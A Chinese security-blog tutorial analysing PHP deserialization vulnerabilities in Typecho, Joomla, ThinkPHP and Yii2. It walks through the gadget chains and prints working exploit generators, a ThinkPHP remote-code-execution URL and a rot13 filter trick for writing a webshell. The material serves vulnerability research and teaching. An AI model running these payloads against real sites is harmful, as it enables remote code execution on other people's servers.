4. php反序列化从入门到放弃(放弃篇)
上篇《php反序列化从入门到放弃(入门篇)》主要总结了PHP的反序列化的一些知识,本篇主要通过cms实例来更好的理解并且挖掘反序列化漏洞。
以下cms的源码地址:https://github.com/bmjoker/Code-audit/
Typecho1.0.14反序列化导致任意代码执行
Typecho是一个PHP版本的轻量版博客系统,存在反序列化导致前台getshell的漏洞,通过分析这个漏洞来深入理解PHP反序列化漏洞。
漏洞的触发点是install.php中的反序列化方法unserialize():
先来看一下访问到unserialize()反序列化方法的前置条件
$SERVER['HTTP_REFERER']需要与$_SERVER['HTTP_HOST']的值相等,意思是请求包中的字段 host==referer['host']。
这几个is..else的意思是如果想要执行的漏洞代码,需要满足:
1. 通过GET请求接收到的finish参数不为空;
2. 存在 __TYPECHO_ROOT_DIR__/config.inc.php文件;
3. cookie中或者POST方法传进来的参数中存在__typecho_config字段的值。
具体分析一下漏洞代码
跟进查看Typecho_Cookie这个类的get方法
将Cookie中的__typecho_config或者POST传过来的__typecho_config的值取出来,使用base64解密,然后通过unserialize进行反序列化,并将反序列化之后的结果赋予变量$config。
漏洞的触发点就在于这个unserialize()方法,如果存在可以利用的漏洞利用点,像file_put_contents,exec...,就可以在__typecho_config中
构造特定的序列化payload数据来实现漏洞的利用,比如任意代码执行等。
继续往下看,发现实例化一个Typecho_Db类的对象,并把$config['adapter']和$config['prefix']传入Typecho_Db类中进行实例化,然后调用Typecho_Db的addServer方法对$config进行处理,跟进一下Typecho_Db类:
这里看到:
$this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
在入门篇都有提过魔术方法__toString()的几种触发方式。像上面的代码,如果$adapterName是一个实例化对象,在进行了字符串的拼接的时候就会触发该类的__toString()魔术方法。
全局搜索一下魔术方法__toString():
这里发现Config.php,Feed.php,Query.php三个文件都包含__toString()方法。现在的目的是依次去分析三个php文件中的__toString()方法,寻找漏洞的利用点,构造相应的反序列化链。
Config.php --> __toString()
这里调用__toString()做了序列化???没什么利用点,pass。
Query.php --> __toString()
在492行看到如下代码
如果$this->_adapter是一个不存在parseSelect方法的类的对象的时候,那么调用parseSelect方法就是访问一个不可访问的方法,就会触发该类的魔术方法__call()。全局搜一下魔术方法__call(),最后发现Plugin.php有以下代码:
$component是调用失败的方法名,$args是调用时的参数。均可控,但是根据上文,$args必须存在array('action'=>'SELECT'),然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。所以此路就不通了
Feed.php --> __toString()
在290行看到如下代码
这里的$item由foreach()循环得来,使用$item['author'->screenName]获取author对应的screenName属性,这里就存在一个序列化链的构造点,如果$item['author']是一个不存在screenName属性的类的对象的时候,那么访问screenName就是访问一个不存在的属性,就会触发该类的魔术方法__get()。全局搜一下魔术方法__get(),查找利用点:
这里不再一个一个分析了,最后在Request.php中找到了利用链:
跟进get方法
$value是\$this->_params[\$key]的值,$key就是screenName,是可以控制的输入值,继续跟进_applyFilter方法:
参数$filter和$value都可控,并且call_user_func()和array_map()方法都可通过回调函数实现任意代码执行。
最终的调用链如下:
call_user_func <-- Typecho_Request::_applyFilter <-- Typecho_Request::get <-- Typecho_Request::__get <-- Typecho_Feed::__toString <-- Typecho_Db::__construct
构造序列化payload:
<?php
class Typecho_Feed{
private $_items=array();
private $_type='RSS 2.0';
public function __construct(){
$this->_items[0]=array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_filter = array();
private $_params = array();
function __construct(){
$this->_params['screenName'] = 'phpinfo();';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_',
);
print_r(base64_encode(serialize($exp)));
?>
成功复现。
来看一下官方的补丁:
更换判断是否安装的方法,删除反序列化代码。
Joomla3.4.6反序列化导致任意代码执行
Joomla反序列化漏洞的主要原因是:
Joomla不论账号密码是否正确,都会把登录的用户名和密码,通过序列化的方式存储在session表中,再以反序列化的方式读取session表中的内容。由于protected修饰的变量在序列化的时候,会变成\x00 + * + \x00 + [变量名]的形式,而mysql无法保存NULL字节的数据,所以在向session表写入的过程中会将 \x00*\x00替换为\0\0\0 ,同样在读取session表中的内容的时候会再次转换,然后进行反序列化。如果在向session表存储的过程中构造恶意构造一些\0\0\0,那么在进行反序列化的时候就会由于字节数对不上,导致 "溢出" ,使得反序列化对象逃逸出来。
本地搭建环境,尝试使用错误的账号密码登录,查看一下session表中的内容:
在登录过程中,会有一个303的跳转,这个跳转是先把用户的输入经过序列化存储在session表中,读取的时候再从session表中取出数据进行反序列化,进行账号密码对比
通过序列化写入session表的具体代码如下:
Joomla/libraries/joomla/session/storage/database.php ——> write()
因为protected修饰的变量在序列化后会变成这种形式:\x00 + * + \x00 + [变量名],而mysql无法保存NULL字节的数据,所以在代码中可以看到在写入session表的过程中会将\x00*\x00替换为\0\0\0来进行存储,就比如Registry类下protected修饰的$data变量,序列化存储为:
通过反序列化读取session表的具体代码如下:
Joomla/libraries/joomla/session/storage/database.php ——> read()
在读取时会重新把\0\0\0替换为\x00*\x00来进行反序列化。
漏洞的关键点在于反序列化存入session表中的数据比原始数据要多3个字节,如下图所示:
如果传入的用户名为\0\0\0admin,序列化写入session表中的数据为:
s:8:"username";s:11:"\0\0\0admin";s:8:"password";s:6:"123456";
在调用read方法进行读取时会先将\0\0\0转换为N*N(\x00为空字节为方便展示这里使用N代替):
s:8:"username";s:11:"N*Nadmin";s:8:"password";s:6:"123456";
因为read之后长度变短了3个字节,在反序列化的时候username的值为s:11:"N*Nadmin",但是实际只有8个字节,为了满足反序列化的规则,就会吃掉后面3个字节的数据,直至凑齐11个字符,也就是s:11:"N*Nadmin";s。
利用这个思路,足够多的\0\0\0就可以将password字段的数据逃逸出来,构造如下:
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:6:"123456"
read()之后:
s:8:s:"username";s:54:"N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345
username的值为N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345,后面补上"和;就成功逃逸出来了
实现对象注入:
s:8:s:"username";s:54:"N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345";s:2:"HS":O:15:"ObjectInjection"
写个小demo方便理解:
<?php
class User {
public $username;
public $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}
class danger{
public $cmd;
public function __construct(){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "1234";
$payload = '";s:8:"password";O:6:"danger":1:{s:3:"cmd";s:4:"calc";}';
$password = $password.$payload;
$object = new User($username,$password);
$ser = serialize($object);
$data = str_replace('N*N', '\0\0\0', $ser);
var_dump($data);
echo "</br></br></br></br>";
$result = str_replace('\0\0\0','N*N', $ser);
var_dump($result);
echo "</br></br></br></br>";
$unser = unserialize($result);
var_dump($unser);
?>
下面尝试去构造反序列化链来利用。
早在Joomla1.5~3.4的时候就曾爆出过session反序列化攻击,具体可以参照P牛的文章:
《Joomla 1.5~3.4 session对象注入漏洞》
这里来分析一下利用链,通过搜索eval/assert/call_user_func...这类可以利用并且参数可控的危险函数,可以找到用于构造执行链的类:
这几个文件调取call_user_func的方式都相同,来看一下libraries\joomla\database\driver\mysqli.php中方法的具体实现
当JDatabaseDriverMysqli这个类的对象被调用,在结束时都会调用析构函数__destruct,__destruct中会调用disconnect()方法。
而当$this->connection为true的时候,就会调用call_user_func_array(\$h, array(&\$this)); 方法对disconnectHandlers数组中的每个值,都会执行call_user_func_array(),并将&$this作为参数引用,但是不能控制参数,所以不能直接构造assert+eval来执行任意代码。
继续往下看发现在libraries\simplepie\simplepie.php中有一处call_user_func方法调用
这个call_user_func(\$this->cache_name_function, \$this->feed_url)两个参数都是可控的,于是只要满足$this->cache为True,$this->raw_data为True,$parsed_feed_url['scheme']不为空就能够RCE了,并且$parsed_feed_url['scheme']可以能够利用|| $a='http//';绕过scheme的解析
不过这个call_user_func属于init()方法,并不属于魔术方法,所以需要结合前面JDatabaseDriverMysqli类下的disconnect()中的call_user_func_array方法实现对init()方法的回调。就相当于:
$this->disconnectHandlers = array("test"=>array(new SimplePie(),"init"));
这样的话就相当于实例化了一个SimplePie类的对象,并且调用SimplePie类下的init()方法。
官方给的有相似的例子:https://www.php.net/manual/zh/function.call-user-func-array.php
这里还有一个问题,虽然实例化了一个SimplePie的类,但是SimplePie类不会自动加载。需要去引入加载类。
/libraries/legacy/simplepie/factory.php
发现刚开始就导入了SimplePie类,并且JSimplepieFactory类属于autoload,会自动加载,这样的话只需要引入这个类就可以成功加载SimplePie。
payload如下:
<?php
class JSimplepieFactory{}
class JDatabaseDriverMysql{}
class JDatabaseDriverMysqli
{
protected $abc;
protected $connection;
protected $disconnectHandlers;
function __construct()
{
$this->abc = new JSimplepieFactory();
$this->connection = 1;
$this->disconnectHandlers = [
[new SimplePie, "init"],
];
}
}
class SimplePie
{
var $sanitize;
var $cache_name_function;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
}
}
$obj = new JDatabaseDriverMysqli();
$ser = serialize($obj);
echo str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);
?>
最后构造的账号密码为:
username:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
password:123";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"\0\0\0abc";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}
尝试登录:
成功执行命令
Thinkphp5.0.24反序列化导致命令执行
Thinkphp框架流程
此部分内容参考与《TP5.0.xRCE&5.0.24反序列化分析》
这里将Thinkphp5.0.22解包之后可以看到如下目录结构:
根据类的命名空间可以快速定位文件位置,在ThinkPHP5.0的规范里面,命名空间其实对应了文件的所在目录,app命名空间通常代表了文件的起始目录为application,而think命名空间则代表了文件的其实目录为thinkphp/library/think,后面的命名空间则表示从起始目录开始的子目录,如下图所示:
Thinkphp框架的入口文件为:public/index.php
框架引导文件:thinkphp/start.php
基础文件:thinkphp/base.php
此文件具体做了以下操作:
- 定义了一些define常量
- 载入了Loader类
- 加载环境变量配置文件
- 注册自动加载
- 注册错误和异常处理机制处理
- 加载默惯例配置文件
这其中比较重要的就是注册自动加载机制,跟踪进Loader:regiester()方法
具体有以下几个部分:
1. 注册系统自动加载
使用了spl_autoload_register函数,这是一个自动加载函数,若是实例化一个未定义的类时就会触发该函数,然后会触发第一个参数
作为指定的方法,可以看到此函数指定了think\Loader::autoload作为触发方法
2. Composer自动加载支持
3. 注册命名空间定义
think => thinkphp/library/think
behavior => thinkphp/library/behavior
traits => thinkphp/library/traits
4. 加载类库映射文件
5. 自动加载extend目录
执行应用(thinkphp/library/think/App.php)
如上为部分代码,首先返回一个request实例,初始化应用并返回配置信息(self::initCommon)。
之后进行如下的操作:
- 查看是否存在模块/控制器绑定:defined('BIND_MODULE')
- 对于request的实例根据设置的过滤规则进行过滤:\$request->filter(\$config['default_filter'])
- 加载系统语言包
- 监听app_dispatch,并获取应用调度信息:Hook::listen('app_dispatch', self::$dispatch)
- 未设置调度信息则进行URL路由检测:self::routeCheck(\$request, $config)
- 记录当前调度信息,路由以及请求信息到日志中
- 请求缓存检查并进行 \$data = self::exec(\$dispatch, $config),根据$dispatch进行不同的调度,返回$data
- 清除类的实例化:Loader::clearInstance()
- 输出数据到客户端,\$response = $data,返回一个Response类实例
- 调用Response->send()方法将数据返回给客户端
大概整个流程图如下:
这里要特别提一下这个URL路由检测(routeCheck)
通过\$path = $request->path()获取到请求的path_info,$depr是定义的分隔符,默认为' / ',之后进行路由检测步骤如下:
- 查看是否存在路由缓存,存在就包含
- 读取应用所在的路由文件,一般默认为route.php
- 导入路由配置
- Route::check(根据路由定义返回不同的URL调度)
- 检查是否强制使用路由 \$must = !is_null(self::\$routeMust) ? self::\$routeMust : \$config['url_route_must']
- 路由无效,将自动解析模块的URL地址会进入到Route::parseUrl(\$path, \$depr, $config['controller_auto_search'])
跟进Route::check,具体做了以下操作:
- 检查解析缓存
- 替换分隔符,str_replace(\$depr, '|', $url),将' / '换成了' | '
- 获取当前请求类型的路由规则,由于在之前的Composer自动加载支持,在vendortopthink/think-captcha/src/helper.php中注册了路由,所以在\$rules = isset(self::\$rules[\$method]) ? self::\$rules[\$method] : [];中的Route::$rules['get']已经存在了相应的路由规则
- 检测域名部署:self::checkDomain(\$request, \$rules, $method);
- 检测URL绑定:self::checkUrlBind(\$url, \$rules, $depr);
- 静态路由规则检查:self::checkOption(\$rule['option'], \$request)
- 路由规则检查:self::checkRoute(\$request, \$rules, \$url, \$depr)
继续跟进CheckRoute
- 检查参数有效性:self::checkOption(\$option, \$request)
- 替换掉路由ext参数
- 检查分组路由
- 检查指定特殊路由,例如:__miss__和__atuo__
- 检查路由规则checkRule:self::checkRule(\$rule, \$route,\$url, $pattern, \$option, \$depr);
- 最终未被匹配路由的进入到self::parseRule('', \$miss['route'], \$url, $miss['option'])进行处理,这就牵涉到TP对于路由的多种定义
整个路由流程如下图:
thinkphp传参
在具体分析流程前传参方式,首先介绍一下模块等参数
- 模块 : application\index,这个index就是一个模块,负责前台相关
- 控制器 : 在模块中的文件夹controller,即为控制器,负责业务逻辑
- 操作 : 在控制器中定义的方法,比如在默认文件夹中application\index\controller\Index.php中就有两个方法,index和hello
- 参数 : 就是定义的操作需要传的参数
在本文中会用到两种传参方式,其他的方式可以自行了解
1. PATH_INFO模式 : http://127.0.0.1/public/index.php/模块/控制器/操作/(参数名)/(参数值)...
2. 兼容模式 : http://127.0.0.1/public/index.php?s=/模块/控制器/操作&(参数名)=(参数值)...
其中index.php就称之为应用的入口文件
模块在ThinkPHP中的概念其实就是应用目录下面的子目录,而官方的规范是目录名小写,因此模块全部采用小写命名,无论URL是否开启大小写转换,模块名都会强制小写。
如果直接访问入口文件index.php的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(index)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:
http://127.0.0.1/thinkphp_5.0.22/public/index.php
http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/index/index
如果要访问index控制器的hello方法,则需要使用完整的URL地址:
http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/index/hello/name/bmjoker
/hello/name/bmjoker:hello是方法名,name是参数名称,bmjoker是传递进去的参数
如果是多个参数,再后面累加即可
默认情况下,URL地址中的控制器和操作名是不区分大小写的,因此下面的访问其实是等效的:
http://127.0.0.1/thinkphp_5.0.22/public/index.php/Index/Index
http://127.0.0.1/thinkphp_5.0.22/public/index.php/INDEX/INDEX
在application\index\controller目录下新建一个Test.php,我们访问下面链接即可访问到Test控制器下的hello方法:
http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/test/hello/name/bmjoker
大概明白这个请求过程,下面来分析一下漏洞。
Thinkphp5.0.22命令执行漏洞分析
如果大概了解上面的thinkphp5的框架流程,下面的分析应该不会太晕。
payload:
http://127.0.0.1/thinkphp_5.0.22/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
依次来调试分析。
程序入口 public/index.php
public/start.php会去调用App类的run方法
run()有两个比较重要的方法:routeCheck()方法和exec()方法
由于未设置调度信息,所以$dispatch为null,进入if循环调用routeCheck()方法进行URL路由检测
跟进routeCheck()方法,看到最上面$path通过path()方法获取,值为payload中s后面的参数"index/think\app/invokefunction"
这里可以尝试跟进一下path()方法:
最后返回的$this->path是$pathinfo获取来的,$pathinfo又是通过pathinfo()方法获取来的,跟进pathinfo()方法
看到这里基本上就破案了,先判断通过$_GET方式传递过来的参数中有没有s传递过来的参数,如果有的话就获取,最后去掉两边的' / '然后return,也就是"index/think\app/invokefunction"
继续往下走,可以看到有如下判断
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
如果开启了强制路由,那么输入的路由将报错导致后面导致程序无法运行,也就不存在RCE漏洞,但是默认是开启的。
最后调用Route::parseUrl()
先通过str_replace()函数将$url("index/think\app/invokefunction")中的' / '替换成' | ',然后调用parseUrlPath对$url进行分割,会把index/\think\app/invokefunction以' / '为分隔符,分成['index','think\app','invokefunction']。
根据thinkphp路由规则index为模块 、think\app为控制器、invokefunction为操作,最后封装成路由
到这里为止App::routeCheck()方法才算走完
继续往下读App.php的代码,关键代码在App::exec中,因为返回值中为module,因此进入黄色部分
跟进module方法,黄色部分检测module是否存在,不存在则报错。
上面代码表示只要$module存在,并且$available为True,就可以初始化模块,并进行调用。
继续往下看代码,构造控制器的过程调用了Loder::controller方法,然后又调用了self::getModuleAndClass该方法就是获取Module、Class的,这里通过判断$name中是否存在' \ ',若存在class就是$name,此时$name为think\App,因此$class=think\App,至此就成功调用了App类
控制器之后会获取当前的操作名,跟进self::invokeMethod()
该方法里用了ReflectionMethod来构造App类的invokefunction方法,然后就是调用App::invokefunction()
跟进App::invokefunction(),最后就是执行命令的地方,利用ReflectionFunction,来构造自己想要的函数执行即可,$function、$vars,都可以通过$_GET方式获取
因此通过url传参function=call_user_func_array&vars[0]=system&vars[1][]=whoami
Thinkphp5.0.24反序列化导致命令执行
这个漏洞是框架的反序列化漏洞,只有二次开发实现了反序列化才可以利用,在/application/index/controller/Index.php中添加反序列化反序列化触发点代码
class Index
{
public function index()
{
echo "Welcome thinkphp 5.0.24";
unserialize(base64_decode($_GET['a']));
}
}
此版本的利用方式是通过反序列化达到写文件的目的。起点在thinkphp/library/think/process/pipes/Windows.php中的windows类的__destruct()析构函数
这里调用了removeFiles()方法,跟进查看:
这里将$filename传入file_exists()方法,如果$filename为某个类的对象,使用file_exists()会触发该类的__toString()方法
这时候全局搜索__toString()方法,跟踪判断可用的类,这里选择thinkphp/library/think/Model.php中的Model类的__toString()方法
函数里面调用了toJson()方法,跟进查看
继续跟进toArray()方法查看,因为代码量太多,这里列出关键代码:
关键代码在下面黄色框中,使用method_exists()判断$relation是否为该类下的方法,而\$modelRelation = \$this->$relation(),并且$relation的值由$name的值决定,同时$name的值由$this->append决定,$this->append的值可控,意味着$modelRelation也是可控的。这里选择Model类中的getError方法,因为其返回值直接可控
到这里跟进getRelationData()方法看一下具体操作
当执行到\$value = $modelRelation->getRelation()时,就可以执行任意类的getRelation方法,这里可选择的就比较多,比如HasOne.php,BelongsTo.php...这里选择位于thinkphp/library/think/model/relation/HasOne.php的HasOne类的getRelation方法
重点是上述黄框中的代码,由于$this->query是可控的参数,如果$this->query为某类的对象,此类中不存在removeWhereField方法,那么就会调用此类的魔术方法__call(),并且传进去的参数$this->foreignKey也是可控的参数。这里需要全局搜索可以利用的魔术方法__call()。这里选择触发位于thinkphp/library/think/console/Output.php的Output类的__call()方法
跟进Output类中的__call方法:
首先把$args传入block方法中,跟进查看
跟进writeln方法
跟进write方法
这里$this->handle可控,可以实现对任意类的write方法的调用,全局搜索->write(,来寻找调用write的类。这里选择位于think/session/driver/Memcache.php的Memcache类的write方法
$this->handle = new Memcache()
同样$this->handler可控,这样可以调用其他类的set方法,这里选择位于thinkphp/library/think/cache/driver/File.php的File类的set方法
$this->handler = new File();
这也是反序列化链最后写文件的地方,看一下file_put_contents(\$filename, $data)的两个参数的来源,$filename需要跟进getCacheKey()方法
$filename是由$this->options['path']和$name组成的,两个参数都是可控的,所以$filename就是可控的,其中md5值可以自己计算出来。
然后看一下$data,其值由$value决定,向上回溯会发现,该值的类型是布尔类型
此处的$data值不可控,那么目前我们无法写shell,回到File.php::set()方法中,注意到一条语句\$this->setTagItem($filename),跟进setTagItem方法
可以发现在setTagItem()方法最后重新调用了set方法,因为\$key = 'tag_' . md5(\$this->tag)中$this->tag可控,所以这个$key也是可控,而当else的时候\$value = $name,并且$name是之前分析过的$filename传进来的参数,所以$value也是可控的,在最后的时候会再次调用set方法,同时也能完全控制写入的文件名和文件内容,但是在写入文件内容时:
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
如果想要写入我们的payload,需要绕过前面exit()方法的限制,这里可以参考以下几种方法《file_put_content和死亡·杂糅代码之缘》
这里使用伪协议+rot13编码绕过,不过前提是服务器没有开启短标签,在本地尝试写入:
整个反序列化调用链为:
file_put_contents <- File.php::set() <- Driver.php::setTagItem() <- File.php::set() <- Memcache.php::write() <- Memcache.php::writeln() <- Output.php::block() <- Output.php::__call() <- HasOne.php::getRelation() <- Model.php::getRelationData <- Model.php::getError() <- Model.php::toArray() <- Model.php::toJson() <- Model.php::__toString() <- Windows.php::removeFiles() <- Windows.php::__destruct()
结合上面的分析尝试写一下payload:
<?php
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File(); //此处赋值$this->handler为File类的一个对象,这样就可以调用File.php::set()方法
}
}
namespace think\cache;
abstract class Driver{
function __construct(){}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{ //此处重写File.php::set方法,构造写入的$filename
protected $tag;
protected $options = [];
function __construct(){
$this->tag = 'nocatch';
$this->options = [
'cache_subdir'=>false,
'prefix'=>'',
'path'=>'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>', //rot13编码
'data_compress'=>false,
];
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->styles = ['removeWhereField'];
$this->handle = new Memcached(); //此处赋值$this->handle为Memcached的一个对象,来调用Memcached::write()方法
}
}
namespace think\model;
use think\console\Output;
abstract class Relation{
protected $query;
protected $foreignKey;
function __construct(){
$this->query = new Output(); //此处赋值$this->query为Output的一个对象,这样因为不存在removeWhereField方法,从而会调用Output类的__call方法
$this->foreignKey = "aaaaaaaaa"; //参数
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{}
namespace think\model\relation;
class HasOne extends OneToOne{}
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
function __construct(){
$this->append = ['bmjoker'=>'getError'];
$this->error = new HasOne(); //此处赋值$this->error为类HasOne的一个对象
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()]; //此处赋值$filename为类Pivot的一个对象
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{} //此处会自动调用Model类
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
注意这个洞在windows下是复现不了的,因为windows对文件名有限制,会写入失败。
Yii2.0.37反序列化导致命令执行
漏洞版本为<2.0.37,从github拉取代码下来:https://github.com/yiisoft/yii2/releases
下载到本地后解压到phpstudy/www目录,修改config/web.php文件里cookieValidationKey的值
在Controller目录下添加一个反序列化的入口代码:
测试是否搭建成功
来分析一下漏洞
第一条POP链
反序列化的起点是在yii\db\BatchQueryResult类的析构函数__destruct(),文件位置/vendor/yiisoft/yii2/db/BatchQueryResult.php:
这里调用了reset()方法,跟进发现在reset()方法中通过$this->_dataReader调用了close()方法,因为这里$this->_dataReader参数是可控的,由此的话可以通过赋值为其他类的对象来调用其他类的__call()魔术方法。全局搜索关键字function __call(来寻找可用的类:
这里选择Faker\Generator类下的__call()方法,文件路径在vendor\fzaninotto\faker\src\Faker\Generator.php:
继续跟进format()方法:
使用回调函数call_user_func_array(),第一个参数调用了getFormatter()方法获取,其第二个参数$arguments是从yii\db\BatchQueryResult::reset()里传进来的,是一个null空参,跟进getFormatter()方法
由于$this->formatters参数是可控的,所以这里就可以赋值为任意类的对象,并可以调用类中的任意方法。
因为参数$formatter= ' close ',$arguments为空,所以call_user_func_array()这个函数的第一个参数可控,第二个参数为空。需要去寻找实现命令执行的方法,并且参数可控。使用正则表达式call_user_func(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)\)来匹配:
首先第一处,文件路径vendor\yiisoft\yii2\rest\IndexAction.php:
参数$this->checkAccess,$this->id都是可控的,只要调用run()方法,构造参数即可实现命令执行。
第二处,文件路径:vendor\yiisoft\yii2\rest\CreateAction.php:
跟上面的一样。
反序列化链为:
CreateAction::run() <- Generator::__call() <- BatchQueryResult::__destruct()
尝试写一下payload:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
第二条POP链
起点在于RunProcess类,文件路径vendor\codeception\codeception\ext\RunProcess.php:
其中因为$this->processes是可控的,所以依然可以构造来调用类的__call()方法,接下来和第一条POP链一样,只是起点不同。此时反序列化链:
CreateAction::run() <- Generator::__call() <- RunProcess::__destruct()
payload为:
<?php
namespace yii\rest{
class CreateAction{
public $id;
public $checkAccess;
public function __construct()
{
$this->id = 'whoami';
$this->checkAccess = 'system';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $process;
public function __construct()
{
$this->process = [new Generator()];
}
}
}
namespace {
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
第三条POP链
起点在于Swift_KeyCache_DiskKeyCache类,漏洞文件vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php:
跟进clearAll()方法:
这里$this->path是可控的参数,与字符串' / '拼接就会触发魔术方法__toString(),这里全局搜索一下function __toString(,寻找可以利用的类。
这里选择Deprecated类下的__toString()方法,文件路径vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\Deprecated.php:
因为$this->description为可控参数,通过构造,同时可以触发魔术方法__call(),接下来的利用跟上面一样。反序列化链为:
yii\rest\IndexAction::run() <- Faker\Generator::__call() <- src\DocBlock\Tags\Deprecated.php::__toString() <- Swift\KeyCache\DiskKeyCache::__destruct()
payload为:
<?php
namespace yii\rest{
class CreateAction{
public $id;
public $checkAccess;
public function __construct()
{
$this->id = 'whoami';
$this->checkAccess = 'system';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Deprecated{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys;
public function __construct()
{
$this->path = new Deprecated();
$this->keys = array("just"=>array("for"=>"xxx"));
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
经过上面的POP链可以发现基本都是尝试去寻找可以触发魔术方法__call()的地方,后半部分一样,只是漏洞的触发点不同,与此类似的POP链还有:
yii\rest\IndexAction::run() <- Faker\Generator::__call() <- src\DocBlock\Tags\See.php::__toString() <- Swift\KeyCache\DiskKeyCache::__destruct()
还有:
yii\rest\IndexAction::run() <- Faker\Generator::__call() <- src\DocBlock\Description.php::__toString() <- Swift\KeyCache\DiskKeyCache::__destruct()
wordpress4.9反序列化导致任意代码执行
具体分析请参考: